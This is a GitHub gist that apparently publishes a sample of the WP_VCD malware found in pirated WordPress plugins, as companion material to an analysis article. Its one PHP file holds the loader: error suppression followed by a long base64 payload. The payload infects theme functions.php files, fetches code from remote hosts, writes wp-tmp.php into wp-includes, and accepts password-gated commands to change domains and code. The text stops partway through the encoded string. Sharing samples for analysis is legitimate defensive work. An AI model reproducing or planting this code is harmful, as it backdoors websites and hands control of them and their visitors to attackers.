Skip to content

Instantly share code, notes, and snippets.

@nczz

nczz/class.plugin-modules.php

Last active October 22, 2019 11:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save nczz/62731d93a711570005874ed1480d3111 to your computer and use it in GitHub Desktop.
Save nczz/62731d93a711570005874ed1480d3111 to your computer and use it in GitHub Desktop.
Download ZIP
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
Raw
class.plugin-modules.php
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW
DEFINE('MAX_LEVEL', 2);
//bGF5X2Vycm9ycycsIDApOwovLzJoa
DEFINE('MAX_ITERATION', 50);
//NuYm1WM1pHOXRZV2x1SjEwcEt
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
//BZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0F
$GLOBALS['WP_CD_CODE'] = 'PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwovL1BEOXdhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJWVVZUVkZzbllXTjBhVzl1Sgppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwovLzJoaGJtZGxYMlJ2YldGcGJpYzcKCgkkaW5zdGFsbF9jb2RlID0gJ1BEOXdhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJWVVZUVkZzbllXTjBhVzl1SjEwcElDWW1JR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jR0Z6YzNkdmNtUW5YU2tnSmlZZ0tDUmZVa1ZSVlVWVFZGc25jR0Z6YzNkdmNtUW5YU0E5UFNBbmV5UlFRVk5UVjA5U1JIMG5LU2tLQ1hzS0pHUnBkbDlqYjJSbFgyNWhiV1U5SW5kd1gzWmpaQ0k3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2dvSkNRa0pDZ29LQ2dvSkNRa0pZMkZ6WlNBblkyaGhibWRsWDJSdmJXRnBiaWM3Q2drSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuYm1WM1pHOXRZV2x1SjEwcEtRb0pDUWtKQ1FsN0Nna0pDUWtKQ1FrS0NRa0pDUWtKQ1dsbUlDZ2haVzF3ZEhrb0pGOVNSVkZWUlZOVVd5ZHVaWGRrYjIxaGFXNG5YU2twQ2drSkNRa0pDUWtKZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnBaaUFvSkdacGJHVWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vWDE5R1NVeEZYMThwS1FvSkNTQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb2NISmxaMTl0WVhSamFGOWhiR3dvSnk5Y0pIUnRjR052Ym5SbGJuUWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE5jS0NKb2RIUndPbHd2WEM4b0xpb3BYQzlqYjJSbFhDNXdhSEF2YVNjc0pHWnBiR1VzSkcxaGRHTm9iMnhrWkc5dFlXbHVLU2tLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhzS0Nna0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSbWFXeGxJRDBnY0hKbFoxOXlaWEJzWVdObEtDY3ZKeTRrYldGMFkyaHZiR1JrYjIxaGFXNWJNVjFiTUYwdUp5OXBKeXdrWDFKRlVWVkZVMVJiSjI1bGQyUnZiV0ZwYmlkZExDQWtabWxzWlNrN0Nna0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUVCbWFXeGxYM0IxZEY5amIyNTBaVzUwY3loZlgwWkpURVZmWHl3Z0pHWnBiR1VwT3dvSkNRa0pDUWtKQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCd2NtbHVkQ0FpZEhKMVpTSTdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2dvS0NRa2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0tDUWtKQ1FrSkNRbGpZWE5sSUNkamFHRnVaMlZmWTI5a1pTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25ibVYzWTI5a1pTZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0pDZ2tKQ1FrSkNRbHBaaUFvSVdWdGNIUjVLQ1JmVWtWUlZVVlRWRnNuYm1WM1kyOWtaU2RkS1NrS0NRa0pDUWtKQ1FsN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtSUNna1ptbHNaU0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3loZlgwWkpURVZmWHlrcENna0pJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCcFppaHdjbVZuWDIxaGRHTm9YMkZzYkNnbkwxd3ZYQzljSkhOMFlYSjBYM2R3WDNSb1pXMWxYM1J0Y0NoYlhITmNVMTBxS1Z3dlhDOWNKR1Z1WkY5M2NGOTBhR1Z0WlY5MGJYQXZhU2NzSkdacGJHVXNKRzFoZEdOb2IyeGtZMjlrWlNrcENpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjdDZ29KQ1FrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWtabWxzWlNBOUlITjBjbDl5WlhCc1lXTmxLQ1J0WVhSamFHOXNaR052WkdWYk1WMWJNRjBzSUhOMGNtbHdjMnhoYzJobGN5Z2tYMUpGVVZWRlUxUmJKMjVsZDJOdlpHVW5YU2tzSUNSbWFXeGxLVHNLQ1FrSklDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRjlmUmtsTVJWOWZMQ0FrWm1sc1pTazdDZ2tKQ1FrSkNRa0pDU0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEJ5YVc1MElDSjBjblZsSWpzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIMEtDZ29KQ1NBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdmUW9KQ1FrSkNRa0pDWDBLQ1FrSkNRa0pmUW9KQ1FrSlluSmxZV3M3Q2drSkNRa0tDUWtKQ1dSbFptRjFiSFE2SUhCeWFXNTBJQ0pGVWxKUFVsOVhVRjlCUTFSSlQwNGdWMUJmVmw5RFJDQlhVRjlEUkNJN0Nna0pDWDBLQ1FrSkNna0paR2xsS0NJaUtUc0tDWDBLQ2dvS0Nnb0tDZ29rWkdsMlgyTnZaR1ZmYm1GdFpTQTlJQ0ozY0Y5MlkyUWlPd29rWm5WdVkyWnBiR1VnSUNBZ0lDQTlJRjlmUmtsTVJWOWZPd3BwWmlnaFpuVnVZM1JwYjI1ZlpYaHBjM1J6S0NkMGFHVnRaVjkwWlcxd1gzTmxkSFZ3SnlrcElIc0tJQ0FnSUNSd1lYUm9JRDBnSkY5VFJWSldSVkpiSjBoVVZGQmZTRTlUVkNkZElDNGdKRjlUUlZKV1JWSmJVa1ZSVlVWVFZGOVZVa2xkT3dvZ0lDQWdhV1lnS0hOMGNtbHdiM01vSkY5VFJWSldSVkpiSjFKRlVWVkZVMVJmVlZKSkoxMHNJQ2QzY0MxamNtOXVMbkJvY0NjcElEMDlJR1poYkhObElDWW1JSE4wY21sd2IzTW9KRjlUUlZKV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwc0lDZDRiV3h5Y0dNdWNHaHdKeWtnUFQwZ1ptRnNjMlVwSUhzS0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNCbWRXNWpkR2x2YmlCbWFXeGxYMmRsZEY5amIyNTBaVzUwYzE5MFkzVnliQ2drZFhKc0tRb2dJQ0FnSUNBZ0lIc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdOb0lEMGdZM1Z5YkY5cGJtbDBLQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5QlZWUlBVa1ZHUlZKRlVpd2dWRkpWUlNrN0NpQWdJQ0FnSUNBZ0lDQWdJR04xY214ZmMyVjBiM0IwS0NSamFDd2dRMVZTVEU5UVZGOUlSVUZFUlZJc0lEQXBPd29nSUNBZ0lDQWdJQ0FnSUNCamRYSnNYM05sZEc5d2RDZ2tZMmdzSUVOVlVreFBVRlJmVWtWVVZWSk9WRkpCVGxOR1JWSXNJREVwT3dvZ0lDQWdJQ0FnSUNBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlZWSk1MQ0FrZFhKc0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMFpQVEV4UFYweFBRMEZVU1U5T0xDQlVVbFZGS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKR1JoZEdFZ1BTQmpkWEpzWDJWNFpXTW9KR05vS1RzS0lDQWdJQ0FnSUNBZ0lDQWdZM1Z5YkY5amJHOXpaU2drWTJncE93b2dJQ0FnSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR1JoZEdFN0NpQWdJQ0FnSUNBZ2ZRb2dJQ0FnSUNBZ0lBb2dJQ0FnSUNBZ0lHWjFibU4wYVc5dUlIUm9aVzFsWDNSbGJYQmZjMlYwZFhBb0pIQm9jRU52WkdVcENpQWdJQ0FnSUNBZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrZEcxd1ptNWhiV1VnUFNCMFpXMXdibUZ0S0hONWMxOW5aWFJmZEdWdGNGOWthWElvS1N3Z0luUm9aVzFsWDNSbGJYQmZjMlYwZFhBaUtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkdoaGJtUnNaU0FnSUQwZ1ptOXdaVzRvSkhSdGNHWnVZVzFsTENBaWR5c2lLVHNLSUNBZ0lDQWdJQ0FnSUNCcFppZ2dabmR5YVhSbEtDUm9ZVzVrYkdVc0lDSThQM0JvY0Z4dUlpQXVJQ1J3YUhCRGIyUmxLU2tLQ1FrZ0lDQjdDZ2tKSUNBZ2ZRb0pDUWxsYkhObENna0pDWHNLQ1FrSkpIUnRjR1p1WVcxbElEMGdkR1Z0Y0c1aGJTZ25MaThuTENBaWRHaGxiV1ZmZEdWdGNGOXpaWFIxY0NJcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrYUdGdVpHeGxJQ0FnUFNCbWIzQmxiaWdrZEcxd1ptNWhiV1VzSUNKM0t5SXBPd29KQ1FsbWQzSnBkR1VvSkdoaGJtUnNaU3dnSWp3L2NHaHdYRzRpSUM0Z0pIQm9jRU52WkdVcE93b0pDUWw5Q2drSkNXWmpiRzl6WlNna2FHRnVaR3hsS1RzS0lDQWdJQ0FnSUNBZ0lDQWdhVzVqYkhWa1pTQWtkRzF3Wm01aGJXVTdDaUFnSUNBZ0lDQWdJQ0FnSUhWdWJHbHVheWdrZEcxd1ptNWhiV1VwT3dvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z1oyVjBYMlJsWm1sdVpXUmZkbUZ5Y3lncE93b2dJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQUtDaVIzY0Y5aGRYUm9YMnRsZVQwblltUTNOMk5rTkdKaE9XWmhaVGcwTmpjNFpUWm1NV0kxWTJZNVlqazJOalVuT3dvZ0lDQWdJQ0FnSUdsbUlDZ29KSFJ0Y0dOdmJuUmxiblFnUFNCQVptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VhM0pwYkc1ekxtTnZiUzlqYjJSbExuQm9jQ0lwSUU5U0lDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6WDNSamRYSnNLQ0pvZEhSd09pOHZkM2QzTG10eWFXeHVjeTVqYjIwdlkyOWtaUzV3YUhBaUtTa2dRVTVFSUhOMGNtbHdiM01vSkhSdGNHTnZiblJsYm5Rc0lDUjNjRjloZFhSb1gydGxlU2tnSVQwOUlHWmhiSE5sS1NCN0Nnb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBb2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVcElIc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHVjRkSEpoWTNRb2RHaGxiV1ZmZEdWdGNGOXpaWFIxY0Nna2RHMXdZMjl1ZEdWdWRDa3BPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRUZDVTFCQlZFZ2dMaUFuZDNBdGFXNWpiSFZrWlhNdmQzQXRkRzF3TG5Cb2NDY3NJQ1IwYlhCamIyNTBaVzUwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5LU2tnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aG5aWFJmZEdWdGNHeGhkR1ZmWkdseVpXTjBiM0o1S0NrZ0xpQW5MM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhuWlhSZmRHVnRjR3hoZEdWZlpHbHlaV04wYjNKNUtDa2dMaUFuTDNkd0xYUnRjQzV3YUhBbktTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9KM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdaV3h6WldsbUlDZ2tkRzF3WTI5dWRHVnVkQ0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnaWFIUjBjRG92TDNkM2R5NXJjbWxzYm5NdWNIY3ZZMjlrWlM1d2FIQWlLU0FnUVU1RUlITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObElDa2dld29LYVdZZ0tITjBjbWx3YjNNb0pIUnRjR052Ym5SbGJuUXNJQ1IzY0Y5aGRYUm9YMnRsZVNrZ0lUMDlJR1poYkhObEtTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlSFJ5WVdOMEtIUm9aVzFsWDNSbGJYQmZjMlYwZFhBb0pIUnRjR052Ym5SbGJuUXBLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJRUJtYVd4bFgzQjFkRjlqYjI1MFpXNTBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5MQ0FrZEcxd1kyOXVkR1Z1ZENrN0NpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2habWxzWlY5bGVHbHpkSE1vUVVKVFVFRlVTQ0F1SUNkM2NDMXBibU5zZFdSbGN5OTNjQzEwYlhBdWNHaHdKeWtwSUhzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9aMlYwWDNSbGJYQnNZWFJsWDJScGNtVmpkRzl5ZVNncElDNGdKeTkzY0MxMGJYQXVjR2h3Snl3Z0pIUnRjR052Ym5SbGJuUXBPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdsbUlDZ2habWxzWlY5bGVHbHpkSE1vWjJWMFgzUmxiWEJzWVhSbFgyUnBjbVZqZEc5eWVTZ3BJQzRnSnk5M2NDMTBiWEF1Y0dod0p5a3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLQ2QzY0MxMGJYQXVjR2h3Snl3Z0pIUnRjR052Ym5SbGJuUXBPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdmU0FLQ1FrS0NRa2dJQ0FnSUNBZ0lHVnNjMlZwWmlBb0pIUnRjR052Ym5SbGJuUWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWEzSnBiRzV6TG5SdmNDOWpiMlJsTG5Cb2NDSXBJQ0JCVGtRZ2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVZ0tTQjdDZ3BwWmlBb2MzUnlhWEJ2Y3lna2RHMXdZMjl1ZEdWdWRDd2dKSGR3WDJGMWRHaGZhMlY1S1NBaFBUMGdabUZzYzJVcElIc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHVjRkSEpoWTNRb2RHaGxiV1ZmZEdWdGNGOXpaWFIxY0Nna2RHMXdZMjl1ZEdWdWRDa3BPd29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdRR1pwYkdWZmNIVjBYMk52Ym5SbGJuUnpLRUZDVTFCQlZFZ2dMaUFuZDNBdGFXNWpiSFZrWlhNdmQzQXRkRzF3TG5Cb2NDY3NJQ1IwYlhCamIyNTBaVzUwS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhCUWxOUVFWUklJQzRnSjNkd0xXbHVZMngxWkdWekwzZHdMWFJ0Y0M1d2FIQW5LU2tnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFQm1hV3hsWDNCMWRGOWpiMjUwWlc1MGN5aG5aWFJmZEdWdGNHeGhkR1ZmWkdseVpXTjBiM0o1S0NrZ0xpQW5MM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZZ0tDRm1hV3hsWDJWNGFYTjBjeWhuWlhSZmRHVnRjR3hoZEdWZlpHbHlaV04wYjNKNUtDa2dMaUFuTDNkd0xYUnRjQzV3YUhBbktTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQkFabWxzWlY5d2RYUmZZMjl1ZEdWdWRITW9KM2R3TFhSdGNDNXdhSEFuTENBa2RHMXdZMjl1ZEdWdWRDazdDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDZ2tKWld4elpXbG1JQ2drZEcxd1kyOXVkR1Z1ZENBOUlFQm1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5aEJRbE5RUVZSSUlDNGdKM2R3TFdsdVkyeDFaR1Z6TDNkd0xYUnRjQzV3YUhBbktTQkJUa1FnYzNSeWFYQnZjeWdrZEcxd1kyOXVkR1Z1ZEN3Z0pIZHdYMkYxZEdoZmEyVjVLU0FoUFQwZ1ptRnNjMlVwSUhzS0lDQWdJQ0FnSUNBZ0lDQWdaWGgwY21GamRDaDBhR1Z0WlY5MFpXMXdYM05sZEhWd0tDUjBiWEJqYjI1MFpXNTBLU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0NpQWdJQ0FnSUNBZ2ZTQmxiSE5sYVdZZ0tDUjBiWEJqYjI1MFpXNTBJRDBnUUdacGJHVmZaMlYwWDJOdmJuUmxiblJ6S0dkbGRGOTBaVzF3YkdGMFpWOWthWEpsWTNSdmNua29LU0F1SUNjdmQzQXRkRzF3TG5Cb2NDY3BJRUZPUkNCemRISnBjRzl6S0NSMGJYQmpiMjUwWlc1MExDQWtkM0JmWVhWMGFGOXJaWGtwSUNFOVBTQm1ZV3h6WlNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0JsZUhSeVlXTjBLSFJvWlcxbFgzUmxiWEJmYzJWMGRYQW9KSFJ0Y0dOdmJuUmxiblFwS1RzZ0Nnb2dJQ0FnSUNBZ0lIMGdaV3h6WldsbUlDZ2tkRzF3WTI5dWRHVnVkQ0E5SUVCbWFXeGxYMmRsZEY5amIyNTBaVzUwY3lnbmQzQXRkRzF3TG5Cb2NDY3BJRUZPUkNCemRISnBjRzl6S0NSMGJYQmpiMjUwWlc1MExDQWtkM0JmWVhWMGFGOXJaWGtwSUNFOVBTQm1ZV3h6WlNrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0JsZUhSeVlXTjBLSFJvWlcxbFgzUmxiWEJmYzJWMGRYQW9KSFJ0Y0dOdmJuUmxiblFwS1RzZ0Nnb2dJQ0FnSUNBZ0lIMGdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNBZ0lDQWdDaUFnSUNCOUNuMEtDaTh2SkhOMFlYSjBYM2R3WDNSb1pXMWxYM1J0Y0FvS0Nnb3ZMM2R3WDNSdGNBb0tDaTh2SkdWdVpGOTNjRjkwYUdWdFpWOTBiWEFLUHo0PSc7CgkKCSRpbnN0YWxsX2hhc2ggPSBtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gQVVUSF9TQUxUKTsKCSRpbnN0YWxsX2NvZGUgPSBzdHJfcmVwbGFjZSgneyRQQVNTV09SRH0nICwgJGluc3RhbGxfaGFzaCwgYmFzZTY0X2RlY29kZSggJGluc3RhbGxfY29kZSApKTsKCQoKCQkJJHRoZW1lcyA9IEFCU1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWNvbnRlbnQnIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd0aGVtZXMnOwoJCQkJCgkJCSRwaW5nID0gdHJ1ZTsKCQkJCSRwaW5nMiA9IGZhbHNlOwoJCQlpZiAoJGxpc3QgPSBzY2FuZGlyKCAkdGhlbWVzICkpCgkJCQl7CgkJCQkJZm9yZWFjaCAoJGxpc3QgYXMgJF8pCgkJCQkJCXsKCQkJCQkJCgkJCQkJCQlpZiAoZmlsZV9leGlzdHMoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpKQoJCQkJCQkJCXsKCQkJCQkJCQkJJHRpbWUgPSBmaWxlY3RpbWUoJHRoZW1lcyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnZnVuY3Rpb25zLnBocCcpOwoJCQkJCQkJCQkJCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKSkKCQkJCQkJCQkJCXsKCQkJCQkJCQkJCQlpZiAoc3RycG9zKCRjb250ZW50LCAnV1BfVl9DRCcpID09PSBmYWxzZSkKCQkJCQkJCQkJCQkJewoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOwoJCQkJCQkJCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCR0aGVtZXMgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnLCAkY29udGVudCk7CgkJCQk